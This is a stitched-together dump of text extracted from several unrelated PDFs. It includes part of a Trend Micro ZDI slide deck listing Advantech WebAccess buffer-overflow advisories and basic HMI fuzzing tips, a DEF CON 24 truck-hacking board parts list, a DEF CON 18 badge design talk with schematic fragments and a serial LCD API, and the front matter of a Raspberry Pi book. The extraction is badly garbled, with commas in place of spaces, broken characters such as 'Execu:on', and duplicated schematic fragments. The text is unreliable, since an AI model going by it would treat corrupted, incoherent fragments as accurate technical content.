ZDI'16'103,',Advantech,WebAccess,datacore,Service,datacore.exe,Path,strcat,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
55.
ZDI'16'104,',Advantech,WebAccess,datacore,Service,datacore.exe,ExtDataSize,Integer,Overflow,Remote,Code,Execu:on,Vulnerability,
56.
ZDI'16'105,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Shared,Virtual,Memory,Overflow,Remote,Code,Execu:on,Vulnerability,
57.
ZDI'16'106,',Advantech,WebAccess,datacore,Service,datacore.exe,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
58.
ZDI'16'107,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
59.
ZDI'16'108,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
60.
ZDI'16'109,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
61.
ZDI'16'110,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
62.
ZDI'16'111,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
63.
ZDI'16'112,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
64.
ZDI'16'113,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
65.
ZDI'16'114,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
66.
ZDI'16'115,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
67.
ZDI'16'116,',Advantech,WebAccess,datacore,Service,datacore.exe,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
68.
ZDI'16'117,',Advantech,WebAccess,datacore,Service,datacore.exe,Username,strcpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
69.
ZDI'16'118,',Advantech,WebAccess,datacore,Service,datacore.exe,strncpy,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
70.
ZDI'16'119,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
71.
ZDI'16'120,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,sprin~,Stack'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
72.
ZDI'16'121,',Advantech,WebAccess,datacore,Service,datacore.exe,AlarmMessage,strcpy,Heap'Based,Buffer,Overflow,Remote,Code,Execu:on,Vulnerability,
Copyright,2016,Trend,Micro,Inc.,
57,
Researcher,Guidance,,
Copyright,2016,Trend,Micro,Inc.,
58,
Basic,Fuzzing,
• Simple,bit'flipping,fuzzing,is,highly,effec:ve,against,HMI,
– Look,for,new,file,associa:ons,during,installa:ons,
• Don’t,forget,to,enable,page,heap,to,find,heap,corrup:on,
– gflags.exe,/i,hmi.exe,+hpa,+ust,
• Leverage,exis:ng,tools,and,frameworks,
– radamsa,
– sqlmap,
Copyright,2016,Trend,Micro,Inc.,
59,
MicrosoT’s,Akack,Surface,Analyzer,
• Released,in,2012,
• Creates,snapshots,before,and,aTer,installa:on,
• Highlights,security,misconfigura:ons,
– Registry,semngs,and,file,permissions,
• Provides,a,list,of,auditable,system,modifica:ons,
– COM,objects,
– Ac:veX,controls,
– File,associa:ons,
– RPC,endpoints,
Copyright,2016,Trend,Micro,Inc.,
60,
Akack,Surface,Analyzer,Report,
Copyright,2016,Trend,Micro,Inc.,
61,
Akack,Surface,Analyzer,Report,
Copyright,2016,Trend,Micro,Inc.,
62,
Audit,for,Banned,APIs,
• C,run:me,has,many,APIs,with,serious,security,programs,
• MicrosoT,banned,use,of,problema:c,C,library,func:ons,
– “The,Security,Development,Lifecycle”,(MicrosoT,,2006),
– Security,Development,Lifecycle,Banned,Func:on,Calls,,
hkps://msdn.microsoT.com/en'us/library/bb288454.aspx,
• Depressingly,common,in,HMI,code,,with,predictable,
nega:ve,impacts,
• IDA,is,extremely,valuable,tool,for,audi:ng,for,inappropriate,
uses,,
Copyright,2016,Trend,Micro,Inc.,
63,
Disclosure,Sta:s:cs,
Copyright,2016,Trend,Micro,Inc.,
64,
Vulnerability,Exposure,Windows,
0,
20,
40,
60,
80,
100,
120,
140,
160,
180,
2013,
2014,
2015,
2016,
Copyright,2016,Trend,Micro,Inc.,
65,
Vendor,Response,Times,
0,
50,
100,
150,
200,
250,
ABB,
Advantech,
Codesys,
Cogent,
Real'Time,
Systems,
Ecava,
GE,
Honeywell,
IndusoT,
MICROSYS,
PTC,
Rockwell,
Automa:on,
Schneider,
Electric,
Tibbo,
Trihedral,
Engineering,
Ltd,
Unitronics, WellinTech,
Copyright,2016,Trend,Micro,Inc.,
66,
Industry,by,Industry,Comparison,
0,
20,
40,
60,
80,
100,
120,
140,
160,
180,
200,
Business,
Highly'Deployed,
SCADA,
Security,
Copyright,2016,Trend,Micro,Inc.,
67,
Conclusions,
Copyright,2016,Trend,Micro,Inc.,
68,
Go,find,bugs!,
• ICS'focused,malware,ac:vely,exploi:ng,HMI,vulnerabili:es,
• HMI,codebases,plagued,with,cri:cal,vulnerabili:es,
• Simple,techniques,can,be,used,to,find,vulnerabili:es,
• Exposure,windows,is,~150,days,leaving,cri:cal,
infrastructure,vulnerable,
Copyright,2016,Trend,Micro,Inc.,
69,
Ques:ons?,
,
,
,
,
,
www.zerodayini:a:ve.com,
@thezdi, | pdf |
Truck Duck Board Bill of Materials
June 2016 - DEF CON 24
CHECK FOR UPDATES AT: http://truckhacking.github.io
Designator(s)
Description
Package/Footprint
Qty
Manufacturer
Part Number
Preferred Vendor
Subsitute OK?
Notes
D1
Power LED
0805
1
OSRAM
LG R971-KN-1
Digikey
Y
PTC1
Thermal Fuse, 2A Hold, 4A Trip
Custom
1
LittleFuse
2920L200/24DR
Digikey
N
TVS1
Transient Voltage Suppressor
DO-214AC
1
Bourns
SMAJ30A
Digikey
Y
Q1
Reverse Polarity Protection FET
SOIC8
1
Internation Rectifier
IRF9388TRPBF
Digikey
N
VR1
Switching Voltage Regulator
TO-220 (Inverted)
1
Murata
OKI-78SR-5/1.5-W36H-C
Digikey
N
P1 ,P2
BeagleBone Header
0.100" Header
2
Sullins
PRPC023DAAN-RC
Digikey
Y
P3, P4
Screw Terminal
Custom
2
Phoenix Contact
1725685
Digikey
N
U1, U8
J1708 (RS485) Tranceiver
SOIC8
2
Texas Instruments
SN65HVD08D
Digikey
N
U2, U7
Inverter for J1708
SOT-23-5
2
Fairchild Semi
NC7SZ04M5X
Digikey
N
U3, U4
CAN Bus Tranceiver
SOIC8
2
Texas Instruments
SN65HVD232DR
Digikey
N
U6
Buffer/Bi-directional Level Shifter
TSSOP-20
1
Texas Instruments
TXS0108EPWR
Digikey
N
J1
DSUB-15 Vehicle Connector
DSUB-15
1
FCI
ID15S33E4GX00LF
Mouser
Y
Substitute TE 1-1634585-2
R1
Power LED Resistor
0805
1
Panasonic
ERJ-6ENF4700V
Digikey
Y
C1
100uF 50V Aluminum Electrolytic Capacitor
6.3x7.7 SMD
1
Nichicon
UCM1H101MCL1GS
Digikey
Y
C2
47uF 10V Ceramic Capacitor
1206
1
Taiyo Yuden
LMK316BJ106KLHT
Digikey
Y
C3, C4, C5, C6
560pF Ceramic Filter Cap, CAN Lines
0603
4
Kemet
C0603C561J5GACTU
Digikey
Y
R3, R4, R6, R7
100 Ohm Resistor, CAN Bus
0603
4
Panasonic
ERJ-3EKF1000V
Digikey
Y
R2, R5, R8, R11, R12, R15, R16
4.7K Pull Up/Down Resistors
0603
7
Panasonic
ERJ-3EKF4701V
Digikey
Y
R9, R10, R13, R14
47 Ohm Resistors, J1708 Bus
0603
4
Panasonic
ERJ-3GEYJ470V
Digikey
Y
C7
0.1 uF Bypass Cap for Level Shifter
0603
1
AVX
0603YC104KAT2A
Digikey
Y
PCB
Printed Circuit Board
Custom
1
Many
NA
Many
N | pdf |
Behind the Scenes of the
Badge
by Joe Grand
aka Kingpin
Me.
electrical engineer.
hardware hacker.
product designer.
Retrospective: DEFCON 14
Retrospective: DEFCON 15
Retrospective: DEFCON 15
Retrospective: DEFCON 16
Retrospective: DEFCON 16
Retrospective: DEFCON 17
Retrospective: DEFCON 17
Badges by Christmas?
★ Fall 2009: Initial brainstorming (DT, Black Beetle, Neil)
★ January 2010: Preliminary design & parts selection
★ January: Prototype hardware design
★ February: Low-level firmware completed
★ February: Production design finalized
★ March: Production component orders
★ April-May: Finish firmware
★ June: Program microcontrollers (Avnet)
★ June-July: Badge fabrication, assembly & test (e-Teknet)
★ July: Badges shipped to DEFCON (on time!)
Timeline
Yeah right!
The Development Process
Picture Show
Original sketch
The Development Process
Picture Show 2
Paper mock-up
The Development Process
Picture Show 3
Prototype hardware
The Development Process
Picture Show 4
Testing hardware
The Development Process
Picture Show 5
Writing low-level drivers
The Development Process
Picture Show 6
It works!
The Development Process
Picture Show 7
Final firmware development
★ 0.040" single-sided aluminum substrate PCB
★ Killer graphics by Neil, the DEFCON resident artist
★ Difficult to find a vendor that would take on this work
★ ...and do it for an affordable price
★ On aluminum? Yes. On circuit Board? No.
Laser Engraving!
Laser Engraving! 2
Laser Engraving! 3
Laser Engraving! 4
Early Block Diagram
★ Digital Signal Controller
๏ Part of the 56800/E family
๏ Main product page: http://tinyurl.
com/mc56f8006-info/
๏ Direct link to data sheet: www.freescale.com/
files/dsp/doc/data_sheet/MC56F8006.pdf
Freescale MC56F8006
•
16KB of Flash
•
2KB of RAM
•
6-channel PWM
•
18-channel, 12-bit A/D
•
Timer/RTC
•
2 PGA, 3 analog comparators
•
Serial communication/UART/
I2C/SPI
•
Up to 22 GPIO
•
32-pin LQFP, 7mm x 7mm
•
1.8V-3.6V operation
Freescale MC56F8006
๏ 128 x 32 pixels, 118 DPI
๏ Reflective Cholesteric LCD
๏ Bistable = no power or refresh needed to
retain image on screen
๏ Control via SPI-like slave serial interface
๏ Full screen update ~1.7 seconds
๏ Affixed to badge with 3M 468MP adhesive tape
๏ Originally designed for use in Verbatim InSight
USB Portable Hard Drive
๏ Not used in the first moon landing
Kent Displays
Reflex Graphic Display Module
Kent Displays
Reflex Graphic Display Module
Schematic
NOTE: RESISTORS ARE IN OHMS +/- 5% AND CAPACITORS ARE IN MICROFARADS, X7R
OTHERWISE NOTED. SEE BOM FOR ACTUAL VOLTAGE AND SPECIFICATION.
SIZE
DATE
SHT
OF
TITLE
3/4/2010
B
1
1
DEFCON 18 Badge
FILENAME
VBATT
CR2032, 3V @ 225mAh
VSS_IO2
27
VSS_IO
13
VSSA
9
VDDA
8
VDD_IO
26
GPIOB0/SCL
21
GPIOB1/SSB
2
TMS
31
TDO
32
TDI
30
TCK
14
RESET
15
GPIOC1
11
GPIOC2
10
GPIOC4
5
GPIOC5
6
GPIOA0/PWM0
29
GPIOA1/PWM1
28
GPIOA2
23
GPIOA3/PWM3
24
GPIOA4/SDA
22
GPIOA5
20
GPIOC6
7
GPIOC0
12
GPIOA6/TXD
18
GPIOB5/SCLK
4
GPIOB3/MOSI
16
GPIOB2
17
GPIOB4/RXD
19
GPIOF0
25
GPIOB7
3
GPIOB6
1
U1
MC56F8006VLC
VCC
0.1uF
C17
VCC
BT1
BU2032SM-JJ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
P2
DNP
VCC
TDI
TDO
TCK
#JTAGRST
TMS
Bootloader / Serial Interface
JTAG Port
Molex 15-91-2140 footprint
TEST
26
RTS
3
DCD
10
RI
6
GND
18
GND
21
VCC
20
TXD
1
CTS
11
CBUS0
23
3V3OUT
17
DTR
2
RXD
5
CBUS1
22
OSCI
27
DSR
9
USBDM
16
OSCO
28
USBDP
15
VCCIO
4
RESET
19
AGND
25
GND
7
CBUS2
13
CBUS3
14
CBUS4
12
U2
FT232RL
1
2
3
4
5
P1
UX60SC-MB-5ST
0.1uF
C16
10uF
C7
USBDM
USBDP
VUSB
SIN
SOUT
#PWREN
D1
D2
HSMH-C192
1k
R3
1k
R2
VUSB
#RXLED
#TXLED
D3
D4
1k
R5
1k
R6
SW2
SPST
SW1
SPST
Q1
FDN340P
VBATT
VCC
Battery Switchover
1k
R4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
LCD1
Kent 1594101208
128x32 Graphic Display Module
N/C
V0
V4
V3
V2
V1
VDD
VDDIO
D/#C
#CS1
#RESET
UCLK
SIMO
BUSY
VSS
VCP1
C1P
C1N
VCP2
C2P
C2N
VCP3
C3P
C3N
VCP4
C4P
C4N
VCI
VSS
N/C
TP5
TP3
TP1
1.0uF
C15
D/#C
#SS
#RST
SCLK
SIMO
BUSY
D/#C
#SS
#RST
SCLK
SIMO
BUSY
TP4
4.7uF
C14
2.2uF
C12
1.0uF
C10
0.47uF
C8
2.2uF
C13
1.0uF
C11
1.0uF
C9
0.1uF
C5
0.1uF
C4
0.1uF
C3
200, 1%
R1
1.0uF
C1
0.1uF
C2
Affix to front of badge
USB Mini B
VCC
VCC
1.0uF
C6
TP2
W4
Jumper
W5
Jumper
W6
Jumper
VCC
VCC
VCC
VCC
3V3OUT
3V3OUT
3V3OUT
SW0
SW1
LED0
LED1
W1
Jumper
W2
Jumper
W3
Jumper
D5
MMDL914T1G
1
2
3
4
D
C
B
A
NOTE:
OTHERW
TITLE
VBATT
CR2032, 3V @ 225mAh
VSS_IO2
27
VSS_IO
13
VSSA
9
VDDA
8
VDD_IO
26
GPIOB0/SCL
21
GPIOB1/SSB
2
TMS
31
TDO
32
TDI
30
TCK
14
RESET
15
GPIOC1
11
GPIOC2
10
GPIOC4
5
GPIOC5
6
GPIOA0/PWM0
29
GPIOA1/PWM1
28
GPIOA2
23
GPIOA3/PWM3
24
GPIOA4/SDA
22
GPIOA5
20
GPIOC6
7
GPIOC0
12
GPIOA6/TXD
18
GPIOB5/SCLK
4
GPIOB3/MOSI
16
GPIOB2
17
GPIOB4/RXD
19
GPIOF0
25
GPIOB7
3
GPIOB6
1
U1
MC56F8006VLC
VCC
0.1uF
C17
VCC
BT1
BU2032SM-JJ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
P2
DNP
VCC
TDI
TDO
TCK
#JTAGRST
TMS
Bootloader / Serial Interface
JTAG Port
Molex 15-91-2140 footprint
TEST
26
RTS
3
DCD
10
RI
6
GND
18
GND
21
VCC
20
TXD
1
CTS
11
CBUS0
23
3V3OUT
17
DTR
2
RXD
5
CBUS1
22
OSCI
27
DSR
9
USBDM
16
OSCO
28
USBDP
15
VCCIO
4
RESET
19
AGND
25
GND
7
CBUS2
13
CBUS3
14
CBUS4
12
U2
FT232RL
1
2
3
4
5
P1
UX60SC-MB-5ST
0.1uF
C16
10uF
C7
USBDM
USBDP
VUSB
SIN
SOUT
#PWREN
D1
D2
HSMH-C192
1k
R3
1k
R2
VUSB
#RXLED
#TXLED
D3
Q1
FDN340P
VBATT
VCC
Battery Switchover
1k
R4
TP5
TP3
TP1
D/#C
#SS
#RST
SCLK
SIMO
BUSY
TP4
0.1uF
C3
200
R1
1.0uF
C1
USB Mini B
VCC
1.0uF
C6
TP2
W4
Jumper
W5
Jumper
W6
Jumper
VCC
VCC
VCC
VCC
3V3OUT
3V3OUT
3V3OUT
SW0
SW1
LED0
LED1
W1
Jumper
W2
Jumper
W3
Jumper
D5
MMDL914T1G
Bill-of-Materials
Approx. per badge cost = $14.12 (!)
Big ticket items = LCD and laser engraving ($3.84)
EFCON 18 Circuit Board Badge
EFCON 18 Circuit Board Badge
EFCON 18 Circuit Board Badge
ll-of-Materials
ll-of-Materials
ll-of-Materials
ocument Version 2.2, May 19, 2010
ocument Version 2.2, May 19, 2010
ocument Version 2.2, May 19, 2010
ocument Version 2.2, May 19, 2010
m
Quantity Reference
Manufacturer
Manuf. Part #
Distributor
Distrib. Part #
Description
Unit Price
Per Badge
1
BT1
MPD
BU2032SM-JJ-GTR
Digi-Key
BU2032SM-JJ-GTR-ND
Single-cell battery holder for CR2032, SMD
$0.40000
$0.4060
1
N/A
Panasonic
CR2032
Digi-Key
P189-ND
CR2032 Lithium 3V Coin Cell Battery (225mAh)
$0.13750
$0.1375
6
C1,C6,C9,C10,C11,C15
TDK
C3216X7R1H105K
Digi-Key
445-1423-2-ND
1.0uF ceramic capacitor, 50V, X7R, 1206
$0.03100
$0.1943
6
C2,C3,C4,C5,C16,C17
Kemet
C0603C104K4RACTU
Digi-Key
399-1096-2-ND
0.1uF ceramic capacitor, 16V, X7R, 0603
$0.00240
$0.0143
1
C7
Kemet
T491A106M016AT
Newark
57K1640
10uF capacitor, 20%, 16V, tantalum, size A
$0.06900
$0.0693
1
C8
Taiyo Yuden
UMK212B7474KG-T
Digi-Key
587-1288-2-ND
0.47uF ceramic capacitor, 50V, X7R, 0805
$0.03900
$0.0524
2
C12,C13
Taiyo Yuden
TMK212BJ225KG-T
Digi-Key
587-1292-2-ND
2.2uF ceramic capacitor, 25V, X5R, 0805
$0.02600
$0.0582
1
C14
Kemet
C0603C475K8PACTU
Digi-Key
399-5503-2-ND
4.7uF ceramic capacitor, 10V, X5R, 0603
$0.03900
$0.0466
4
D1,D2,D3,D4
Avago
HSMH-C192
N/A
N/A
LED, Red, 0603, 1.8Vf, 17mcd @ 20mA
$0.02900
N/A
1
D5
ON Semiconductor MMDL914T1G
Mouser
863-MMDL914T1G
Diode, Switching, 100Vr, 1Vf @ 10mA, 5uA Ir @ 75V, SOD-323
$0.02400
$0.0251
1
LCD1
Kent Displays
1594101208
N/A
N/A
LCD, 128x32 Reflex Graphic Display Module
$3.49000
$3.4900
b
1
N/A
GM Nameplate
N/A
N/A
N/A
3M 468MP adhesive tape for LCD attachment, 1” x 1/2” strips
$0.07870
$0.0822
1
P1
Hirose
UX60SC-MB-5ST(80)
Digi-Key
H11671TR-ND
Connector, Mini-USB Type B, R/A, 5 position, SMD
$0.37500
$0.4198
1
Q1
Fairchild
FDN340P
Digi-Key
FDN340PTR-ND
Transistor, MOSFET, P-Channel, 20V, 2A, SSOT3/SOT23
$0.11100
$0.1160
1
R1
Yageo
RC0603FR-07200RL
Mouser
603-RC0603FR-07200RL 200 ohm, 1%, 1/10W, 0603
$0.00200
$0.0030
5
R2,R3,R4,R5,R6
Panasonic
ERJ-3GEYJ102V
Digi-Key
P1.0KGTR-ND
1k, 5%, 1/10W, 0603
$0.00120
$0.0063
2
SW1,SW2
C&K
KSC201JLFS
Digi-Key
401-1756-2-ND
SPST tactile momentary switch, 120gf, 6.2 x 6.2mm, J-Lead
$0.16600
$0.3469
1
U1
Freescale
MC56F8006VLC
Avnet
N/A
Microcontroller/Digital Signal Controller, LQFP32
$1.50000
N/A
1
U2
FTDI
FT232RL
Mouser
895-FT232RL
USB-to-Serial UART Converter, SSOP28W
$1.89000
$1.8900
b
1
N/A
N/A
N/A
Avnet
N/A
Microcontroller programming service
$0.10000
$0.1000
6
W1,W2,W3,W4,W5,W6
Panasonic
ERJ-8GEY0R00V
Digi-Key
P0.0ETR-ND
Jumper, 0 ohm resistor, 1/4W, 1206
$0.00380
$0.0284
1
PCB
e-Teknet
DC18
N/A
N/A
PCB (fabrication, laser, assembly, test)
$6.63000
$6.6300
Assembly
Drawing
★ Glyph selection
★ LCD control API
★ Secret modes
Core Badge Functionality
★ Choose your favorite 4 glyphs/icons to show off on
your LCD
★ Now you don't have to talk to someone to find out
if they have the same interests as you :)
★ Enter Glyph Selection mode by pressing SW2 from
the DEFCON logo
★ Use SW1 and SW2 to cycle through the glyphs
★ Press SW1 and SW2 together to select the glyph
★ Lather, rinse, repeat
Glyph Selection
Glyph Selection 2
LCD Control API
★ Control the LCD via serial commands sent over
USB virtual COM port
• 9600, 8N1
★ Use terminal program or scripts
★ Display nifty graphics and text on the LCD
★ No hardware hacking experience necessary!
LCD Control API 2
With USB plugged in, send '#' to enable mode
Badge will return welcome string (in ASCII)
'C' = clear frame buffer
'L aa aa vv' = load byte vv into frame buffer
location aa
ex.: L 00 01 0A
valid locations 0x000 to 0x1FF
see LCD data sheet pg. 9 for mem. map
0 = pixel on (dark), 1 = pixel off (light)
'U' = update LCD w/ frame buffer contents
'X' (or power cycle) = exit LCD mode
Badge will return ACK ('.') after a valid command
LCD Control API 3
Secret Modes
Call-for-Integration to invite DEFCON participants
to hide code and/or data in the badge (March 2010)
Lots of cool stuff? Find it all!
Other Badge Stuff You
Might Want To Know.
Freescale
CodeWarrior
for 56800/E
Digital Signal
Controllers
★ Special Edition free for up to 64KB Flash
★ Windows only, but works fine in a VM
★ All tools/materials on DEFCON CD
★ http://tinyurl.com/mc56f8006-dev/
Development Environment
Processor
Expert
★ GUI for peripheral configuration
★ Generates required drivers/function code for
desired modules
Development Environment 2
Static Serial Bootloader
★ USB port + terminal program = Load your own
firmware onto the badge
★ Hold down SW1 & SW2 on power-up
๏ Ideally by inserting USB cable (remove battery
first)
๏ Both top LEDs will remain on
๏ Virtual USB COM port will appear on your
machine
★ Use CodeWarrior dev. tools to hack/modify
firmware and re-compile
Static Serial Bootloader 2
★ When modifying the User Code:
๏ Need to ensure reset and COP vectors point to
BOOTLOADER_ADDR (0x1B00) and not user
code!
๏ If you change the linker file, you'll need to re-
patch it, as well
๏ Read the comments in /CODE/cpu.c for full
details
Static Serial Bootloader 3
★ Send the hex file and the badge will do the rest...
• 9600, 8N1, Xon/Xoff
• /output/sdm_pROM_xRAM.elf.S
• Typical load time ~90 seconds
In Case Of Bricking...
★ MC56F8006 JTAG interface
๏ Uses CodeWarrior USB TAP hardware,
www.freescale.com/webapp/sps/site/
prod_summary.jsp?code=USBTAP
★ Just like last year, but 2x7 connector footprint is
provided this time
★ Engineers are standing by in the Hardware
Hacking Village
๏ I brought ~100 connectors
★ Use in conjunction with 56800E Flash Programmer
tool to reload original firmware (including static
bootloader)
• dc18-with-boot.s
★ Only reprogram/debug with USB cable attached to
ensure normal speed (non-reduced) operation
• Device does not sleep when powered via USB
In Case Of Bricking... 2
Converting BMP to C
★ Load your own graphics onto the badge
• Requires Kent Display development tools (on CD)
• Convert BMP to array and replace the one(s) in
graphics.h
★ Maximum image size = 128 x 32 pixels
1. Convert to 132 x 32 canvas size with image at far left
2. BMP-to-C using "132x64 BMP to C" tool
3. Erase unused bytes within resultant C file
4. Copy relevant data into array
Converting BMP to C 2
Converting BMP to C 3
Converting BMP to C 4
Converting BMP to C 5
Converting BMP to C 6
Power Consumption
• Idle (Wait) = 0.7mA
• Active (LCD update) = 8.3mA @ 930mS
• Serial port TX = 6.7mA
CR2032 Lithium coin cell : 3V @ 225mAh to 2V
Idle mode only = 13.4 days
Typical daily use: 1H active, 23H idle = 9 days
Power Consumption 2
Comments
Graph Name:
0
1
2
3
4
5
6
7
8
9
15:07:40
1 Tue Jun 2010
15:07:45
15:07:50
15:07:55
15:08:00
15:08:05
15:08:10
15:08:15
15:08:20
Show Data: All Graph View: Averages
mA DC
Time
Left: Single LCD refresh
Center: Multiple mode changes
Right: Ninja data TX
Single LCD
refresh
Multiple mode
changes
Serial port
transmitting
Seamless Power Switching
• P-channel MOSFET on by default via R4
• When USB plugged in, 3V3OUT (FT232) goes HIGH
• MOSFET turns off and battery is isolated from circuit
• Body diode of MOSFET prevents battery from getting
reverse fed by 3V3OUT (small nA leakage is OK)
• Voltage drop across D5 causes VCC to be lower for
USB-powered (2.7V) than battery powered (3V)
• Higher forward voltage (Vf) -> lower reverse leakage (Vr)
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
P2
DNP
TMS
JTAG Port
Molex 15-91-2140 f
DCD
RI
GND
GND
CBUS0
3V3OUT
17
CBUS1
22
VCCIO
4
AGND
GND
CBUS2
13
CBUS3
14
CBUS4
12
0.1uF
C16
D2
1k
R3
#TXLED
Q1
FDN340P
VBATT
VCC
Battery Switchover
1k
R4
W4
Jumper
W5
Jumper
W6
Jumper
VCC
VCC
VCC
VCC
3V3OUT
D5
MMDL914T1G
Seamless Power Switching 2
• Battery to USB
Seamless Power Switching 3
• USB to Battery
Human = 7000
Speaker = 200
Goon = 200
Press = 180
Vendor = 100
Contest = 70
Uber = 30
Total = 7780
Total Badge Types
Collect them
all!@#
Time flies, but who's counting?
Admin
7.7% 11:35
Research
10.7% 16:00
TOTAL: 150 hours
Firmware
34.6% 51:50
Documentation
3.8% 5:45
Meetings
3.9% 5:55
Hardware
39.3% 58:55
Badge Hacking Contest HQ @
Hardware Hacking Village
Complete schematic, source code, tools, etc. on DEFCON CD
Submit your entry to
Kingpin starting at 2pm
Sunday in the HHV
Previous results at
www.grandideastudio.com/
portfolio/defcon-1x-badge/
x = 4, 5, 6, 7
Now w/
Black Badge
status!
Badge Hacking
Contest
THE END!
[email protected] | pdf |
About This eBook
ePUB is an open, industry-standard format for eBooks. However, support of ePUB and its many
features varies across reading devices and applications. Use your device or app settings to customize
the presentation to your liking. Settings that you can customize often include font, font size, single or
double column, landscape or portrait mode, and figures that you can click or tap to enlarge. For
additional information about the settings and features on your reading device or app, visit the device
manufacturer’s Web site.
Many titles include programming code or configuration examples. To optimize the presentation of
these elements, view the eBook in single-column, landscape mode and adjust the font size to the
smallest setting. In addition to presenting code and configurations in the reflowable text format, we
have included images of the code that mimic the presentation found in the print book; therefore, where
the reflowable format may compromise the presentation of the code listing, you will see a “Click here
to view code image” link. Click the link to view the print-fidelity code image. To return to the
previous page viewed, click the Back button on your device or app.
Hacking Raspberry Pi®
Timothy L. Warner
800 East 96th Street,
Indianapolis, Indiana 46240 USA
Hacking Raspberry Pi®
Copyright © 2014 by Que Publishing
All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or
transmitted by any means, electronic, mechanical, photocopying, recording, or otherwise, without
written permission from the publisher. No patent liability is assumed with respect to the use of the
information contained herein. Although every precaution has been taken in the preparation of this
book, the publisher and author assume no responsibility for errors or omissions. Nor is any liability
assumed for damages resulting from the use of the information contained herein.
ISBN-13: 978-0-7897-5156-0
ISBN-10: 0-7897-5156-9
Library of Congress Control Number: 2013944701
Printed in the United States of America
First Printing: November 2013
Editor-in-Chief
Greg Wiegand
Executive Editor
Rick Kughen
Development Editor
Todd Brakke
Managing Editor
Kristy Hart
Project Editor
Elaine Wiley
Copy Editor
Chrissy White
Indexer
Brad Herriman
Proofreader
Kathy Ruiz
Technical Editor
Brian McLaughlin
Editorial Assistant
Kristen Watterson
Cover Designer
Chuti Prasertsith
Book Designer
Mark Shirar
Senior Compositor
Gloria Schurick
Graphics
Tammy Graham
Cover Illustration
©Kokander/Shutter Stock
©Yippe/Shutter Stock
Trademarks
All terms mentioned in this book that are known to be trademarks or service marks have been
appropriately capitalized. Que Publishing cannot attest to the accuracy of this information. Use of a
term in this book should not be regarded as affecting the validity of any trademark or service mark.
Warning and Disclaimer
Every effort has been made to make this book as complete and as accurate as possible, but no
warranty or fitness is implied. The information provided is on an “as is” basis. The author and the
publisher shall have neither liability nor responsibility to any person or entity with respect to any loss
or damages arising from the information contained in this book.
Bulk Sales
Que Publishing offers excellent discounts on this book when ordered in quantity for bulk purchases or
special sales. For more information, please contact
U.S. Corporate and Government Sales
1-800-382-3419
[email protected]
For sales outside of the U.S., please contact
International Sales
[email protected]
Contents at a Glance
Introduction
Part I Hardware Foundations
Chapter 1 What Is the Raspberry Pi?
Chapter 2 Hardware Components Quick Start
Chapter 3 A Tour of Raspberry Pi Peripheral Devices
Part II Software Foundations
Chapter 4 Installing and Configuring an Operating System
Chapter 5 Debian Linux Fundamentals—Terminal
Chapter 6 Debian Linux Fundamentals—Graphical User Interface
Chapter 7 Networking Raspberry Pi
Chapter 8 Programming Raspberry Pi with Scratch—Beginnings
Chapter 9 Programming Raspberry Pi with Scratch—Next Steps
Chapter 10 Programming Raspberry Pi with Python—Beginnings
Chapter 11 Programming Raspberry Pi with Python—Next Steps
Part III Basic Raspberry Pi Projects
Chapter 12 Raspberry Pi Media Center
Chapter 13 Raspberry Pi Retro Game Station
Chapter 14 Raspberry Pi Minecraft Server
Chapter 15 Raspberry Pi Web Server
Chapter 16 Raspberry Pi Portable Webcam
Chapter 17 Raspberry Pi Security and Privacy Device
Part IV Hacking the Raspberry Pi
Chapter 18 Raspberry Pi Overclocking
Chapter 19 Raspberry Pi and Arduino
Chapter 20 Raspberry Pi and the Gertboard
Index
Table of Contents
Introduction
What’s in This Book
Who Can Use This Book
How to Use This Book
Task: This Is a Task
There’s More Online...
Part I Hardware Foundations
Chapter 1 What Is the Raspberry Pi?
Why the Pi?
Hardware Versions
Is the Raspberry Pi Open Source?
Open Source Licenses
Open Source and the Raspberry Pi
How Can I Purchase a Raspberry Pi?
Chapter 2 Hardware Components Quick Start
Understanding Pi Hardware Terminology
The Hidden Cost of Owning a Raspberry Pi
A 5V Power Supply
SD Card
Powered USB Hub
Ethernet Cable
Monitor
Cables
USB Keyboard and Mouse
A Tour of the Model B Board
Networking
Video and Audio
Storage
Power/Status Information
Camera
Processing
Expansion
Next Steps
Chapter 3 A Tour of Raspberry Pi Peripheral Devices
Circuit Prototyping Equipment
Single-Board Microcontrollers
The Gertboard
Single-Board Computers
Relevant Technician Tools
Task: Check Raspberry Pi Voltage with a Multimeter
Raspberry Pi Starter Kits
Next Steps
Part II Software Foundations
